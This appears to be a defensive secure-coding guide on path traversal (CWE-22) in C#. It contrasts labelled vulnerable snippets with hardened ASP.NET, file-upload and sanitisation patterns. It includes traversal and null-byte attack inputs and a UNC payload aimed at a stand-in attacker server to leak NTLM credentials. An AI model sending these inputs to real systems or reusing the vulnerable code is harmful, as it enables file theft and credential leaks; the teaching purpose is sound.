Skip to content

CWE-22: Path Traversal - C#

Overview

Path Traversal (also known as Directory Traversal) occurs when an application uses user-supplied input to construct file paths without proper validation. Attackers can use special sequences like ../ or absolute paths to access files and directories outside the intended directory, potentially reading sensitive files (e.g., /etc/passwd, web.config) or overwriting critical system files.

Primary Defence: Use indirect reference mapping (map IDs to filenames), or validate with Path.GetFullPath() combined with Path.GetFullPath(baseDir).StartsWith() to ensure the resolved path remains within the intended directory.

Common Vulnerable Patterns

Direct Path Concatenation

string filename = Request.QueryString["file"];
string path = "C:\\uploads\\" + filename; // VULNERABLE
byte[] content = File.ReadAllBytes(path);

Why this is vulnerable: Direct string concatenation allows attackers to use sequences like "../../web.config" to traverse directories and access files outside the intended uploads folder, potentially exposing sensitive configuration or system files.

Path.Combine (Still Vulnerable to Absolute Paths)

string filename = Request.Form["file"];
string path = Path.Combine("uploads", filename); // VULNERABLE if filename is absolute
File.OpenRead(path);

Why this is vulnerable: Path.Combine() treats absolute paths (like "C:\\Windows\\System32\\config\\sam") as the final path, ignoring the base directory entirely, and also doesn't prevent relative traversal sequences like "..\\..\\" from accessing parent directories.

UNC Path Injection

string filename = Request.QueryString["file"];
string path = Path.Combine("uploads", filename); // VULNERABLE to UNC paths
File.ReadAllBytes(path);

// Attack: ?file=\\\\attacker-server\\share\\malicious.exe
// Result: Path becomes "\\\\attacker-server\\share\\malicious.exe"
// May execute remote file or leak NTLM credentials

Why this is vulnerable: UNC paths (starting with \\\\) can point to remote servers, potentially causing the application to execute remote code or leak Windows NTLM credentials to the attacker's server through automatic authentication. Path.Combine() doesn't prevent UNC paths, treating them as valid absolute paths.

Null Byte Injection (.NET Framework)

string filename = Request.QueryString["file"];
string path = Path.Combine("uploads", filename + ".pdf"); // VULNERABLE in .NET Framework
File.ReadAllBytes(path);

// Attack: ?file=malicious.exe%00
// In .NET Framework: null byte truncates path
// Path becomes "uploads\\malicious.exe" instead of "uploads\\malicious.exe.pdf"

Why this is vulnerable: In .NET Framework (pre-.NET Core), null bytes (\0) in strings can truncate paths when passed to Win32 APIs, allowing attackers to bypass extension validation. If the application appends .pdf to user input, an attacker can inject \0 to truncate the string before the extension is added, effectively reading files with arbitrary extensions. This vulnerability was fixed in .NET Core but remains a concern for legacy applications.

Secure Patterns

Indirect Reference (Best)

var fileMap = new Dictionary<string, string>(StringComparer.Ordinal)
{
    ["doc1"] = "user_manual.pdf",
    ["doc2"] = "terms_of_service.pdf"
};

var fileId = Request.QueryString["file"];
if (string.IsNullOrWhiteSpace(fileId) || !fileMap.TryGetValue(fileId, out var safeFilename))
    throw new ArgumentException("Invalid file");

var baseDir = Path.GetFullPath(@"C:\uploads");
var fullPath = Path.GetFullPath(Path.Combine(baseDir, safeFilename));

// Optional defense-in-depth containment (mostly redundant here, but safe)
var rel = Path.GetRelativePath(baseDir, fullPath);
if (rel == ".." || rel.StartsWith(".." + Path.DirectorySeparatorChar))
    throw new UnauthorizedAccessException("Invalid path");

if (!File.Exists(fullPath))
    throw new FileNotFoundException();

var content = File.ReadAllBytes(fullPath);

Why this works:

  • User input is used only as a lookup key, not as a filesystem path component.
  • The server maps approved IDs to fixed, known-safe filenames, so traversal strings cannot influence the resolved path.
  • Requests for non-allowlisted IDs fail early without touching the filesystem.
  • With appropriate filesystem permissions (uploads directory not attacker-writable), this is one of the strongest patterns for preventing path traversal.

Canonical Path Validation

string filename = Request.QueryString["file"];

string baseDir = Path.GetFullPath(@"C:\uploads\");
string fullPath = Path.GetFullPath(Path.Combine(baseDir, filename ?? ""));

// Robust containment: compute relative path from base to target
string rel = Path.GetRelativePath(baseDir, fullPath);
if (rel == ".." || rel.StartsWith(".." + Path.DirectorySeparatorChar))
{
    throw new SecurityException("Path traversal attempt detected");
}

byte[] content = File.ReadAllBytes(fullPath);

Why this works:

  • Path.GetFullPath() collapses ./.. and normalizes an absolute path before validation.
  • Containment is enforced using Path.GetRelativePath(), avoiding fragile string-prefix checks.
  • If the relative path begins with .., the target is outside the allowed directory and is rejected.
  • This blocks both relative traversal (..\..\) and absolute path injection by ensuring the final path stays under the trusted base directory.
  • On Windows, comparisons should be performed with case-insensitive semantics (the OS is typically case-insensitive).

Using FileInfo with Validation

string filename = Request.QueryString["file"] ?? string.Empty;

var baseDir = new DirectoryInfo(@"C:\uploads");
string baseFull = Path.GetFullPath(baseDir.FullName + Path.DirectorySeparatorChar);

var full = Path.GetFullPath(Path.Combine(baseFull, filename));
var rel = Path.GetRelativePath(baseFull, full);

if (rel == ".." || rel.StartsWith(".." + Path.DirectorySeparatorChar))
    throw new SecurityException("Path traversal detected");

var fileInfo = new FileInfo(full);

if (!fileInfo.Exists)
    throw new FileNotFoundException();

using var stream = fileInfo.OpenRead();

Why this works:

  • The requested path is normalized to an absolute path before validation.
  • Containment is enforced using a relative-path comparison (Path.GetRelativePath), avoiding fragile string-prefix checks.
  • If the relative path begins with .., the target is outside the allowed directory and is rejected.
  • FileInfo is then used only for filesystem operations and metadata (e.g., existence, streaming).
  • Existence checks improve error handling, but filesystem permissions are what prevent TOCTOU attacks.

Framework-Specific Guidance

ASP.NET Core File Upload

[HttpPost("upload")]
public async Task<IActionResult> Upload(IFormFile file)
{
    if (file == null || file.Length == 0)
        return BadRequest("No file uploaded");

    var allowedExtensions = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
        { ".pdf", ".png", ".jpg", ".jpeg" };

    var original = Path.GetFileName(file.FileName);
    var ext = Path.GetExtension(original);
    if (string.IsNullOrWhiteSpace(ext) || !allowedExtensions.Contains(ext))
        return BadRequest("File type not allowed");

    // Canonicalize base directory once
    var uploadBase = Path.GetFullPath("uploads");
    Directory.CreateDirectory(uploadBase);

    // Server-generated storage name (prevents collisions/path games)
    var storedName = $"{Guid.NewGuid():D}{ext.ToLowerInvariant()}";

    var fullPath = Path.GetFullPath(Path.Combine(uploadBase, storedName));

    // Robust containment check (avoids string-prefix bypass)
    var rel = Path.GetRelativePath(uploadBase, fullPath);
    if (rel == ".." || rel.StartsWith(".." + Path.DirectorySeparatorChar))
        return BadRequest("Invalid file path");

    await using var stream = new FileStream(fullPath, FileMode.CreateNew, FileAccess.Write, FileShare.None);
    await file.CopyToAsync(stream);

    return Ok(new { filename = storedName });
}

Why this works:

  • The stored filename is server-generated, so user input never becomes a filesystem path.
  • Extensions are allowlisted to enforce an upload policy (not a content guarantee).
  • The destination path is canonicalized and validated for containment using a relative-path check (Path.GetRelativePath), avoiding string-prefix bypasses.
  • Files are created with CreateNew to prevent overwriting existing uploads.
  • If the upload directory is attacker-writable, additional controls may be needed to defend against symlink/junction (reparse point) attacks.

ASP.NET MVC File Download

public ActionResult Download(string id)
{
    if (string.IsNullOrWhiteSpace(id) || !Regex.IsMatch(id, @"^[a-zA-Z0-9_-]+$"))
        return new HttpStatusCodeResult(HttpStatusCode.BadRequest);

    var baseDir = Path.GetFullPath(@"C:\uploads\");
    var fullPath = Path.GetFullPath(Path.Combine(baseDir, id + ".pdf"));

    // Robust containment check
    var rel = Path.GetRelativePath(baseDir, fullPath);
    if (rel == ".." || rel.StartsWith(".." + Path.DirectorySeparatorChar))
        return HttpNotFound();

    if (!System.IO.File.Exists(fullPath))
        return HttpNotFound();

    // TODO: enforce authorization for this id/file here.

    return File(fullPath, "application/pdf", Path.GetFileName(fullPath));
}

Why this works:

  • The ID is constrained to a strict allowlist of safe characters, blocking obvious traversal syntax (slashes, dots, drive prefixes).
  • The final path is canonicalized and validated for containment using Path.GetRelativePath(), avoiding fragile string-prefix checks.
  • Requests that resolve outside the base directory are rejected before accessing the filesystem.
  • Missing files return a generic 404; authorization should still be enforced to prevent IDOR.

Azure Blob Storage (Inherently Safer)

private static readonly Regex BlobNamePattern =
    new(@"^[0-9a-fA-F\-]{36}\.(pdf|txt|csv|xlsx)$", RegexOptions.Compiled);

public async Task<Stream> GetBlobAsync(string blobName)
{
    if (string.IsNullOrWhiteSpace(blobName) || !BlobNamePattern.IsMatch(blobName))
        throw new ArgumentException("Invalid blob name");

    var blobClient = new BlobClient(connectionString, containerName, blobName);
    return await blobClient.OpenReadAsync(); // caller must dispose stream
}

Why this works:

  • Blob names are object identifiers, not OS filesystem paths, so classic ../ path traversal does not apply.
  • Requests operate within a container’s keyspace; the SDK never interprets blob names as directory navigation.
  • Validating blob names against an application-specific allowlist reduces confusion and prevents unsafe reuse (e.g., if names are later used for local caching).
  • Authorization is still required: restricting traversal is not the same as restricting access to other blobs.

Input Validation Patterns

Filename Sanitization

public static string SanitizeFilename(string filename)
{
    if (string.IsNullOrWhiteSpace(filename))
        throw new ArgumentException("Filename is null or empty", nameof(filename));

    var safeName = Path.GetFileName(filename).Trim();
    if (string.IsNullOrWhiteSpace(safeName) || safeName is "." or "..")
        throw new SecurityException("Invalid filename");

    if (safeName.IndexOfAny(Path.GetInvalidFileNameChars()) >= 0)
        throw new SecurityException("Filename contains invalid characters");

    // Allowlist: keep it simple and explicit
    if (!Regex.IsMatch(safeName, @"^[a-zA-Z0-9][a-zA-Z0-9._-]*$"))
        throw new SecurityException("Filename contains invalid characters");

    return safeName;
}

Why this works:

  • Path.GetFileName() discards any directory components so the result is a simple filename.
  • Invalid filename characters are rejected to avoid OS/path quirks.
  • An allowlist regex restricts the remaining characters to a safe subset.
  • This is filename hygiene only; real-path containment and safe file handling are still required when opening/writing files.

Extension Validation

public static void ValidateFileExtension(string filename, ISet<string> allowedExtensions)
{
    var extension = Path.GetExtension(filename);
    if (string.IsNullOrWhiteSpace(extension) ||
        !allowedExtensions.Contains(extension))
    {
        throw new SecurityException("File type not allowed");
    }
}

// Usage
var allowed = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
    ".pdf", ".png", ".jpg", ".jpeg"
};

ValidateFileExtension(filename, allowed);

Why this works:

  • Path.GetExtension() extracts only the final suffix, so names like file.pdf.exe are correctly rejected.
  • An explicit allowlist restricts uploads to approved file types by name.
  • Case-insensitive comparison avoids bypasses due to filename casing differences.
  • Extension validation enforces policy only; it must be combined with filename sanitization, path containment checks, and (if needed) content inspection.

Migration Strategy

  1. Identify file operations: Search for File., FileInfo, FileStream, Path.Combine
  2. Trace user input: Find where filename/path parameters come from
  3. Implement indirect references: Map IDs to filenames where possible
  4. Add canonical path validation: Use Path.GetFullPath() and validate
  5. Sanitize filenames: Use Path.GetFileName() to strip directories
  6. Test with payloads: ../, absolute paths, UNC paths

Security Checklist

  • Use indirect references (ID → filename mapping)
  • If direct references needed, use Path.GetFullPath()
  • Validate resolved path is within allowed directory
  • Use StringComparison.OrdinalIgnoreCase for path comparisons
  • Sanitize filenames with Path.GetFileName()
  • Allowlist allowed file extensions
  • Validate with regex for allowed characters
  • Never use user input directly in file paths
  • Handle UNC paths (\\server\share\file)
  • Test with Windows and Unix-style path separators

Additional Resources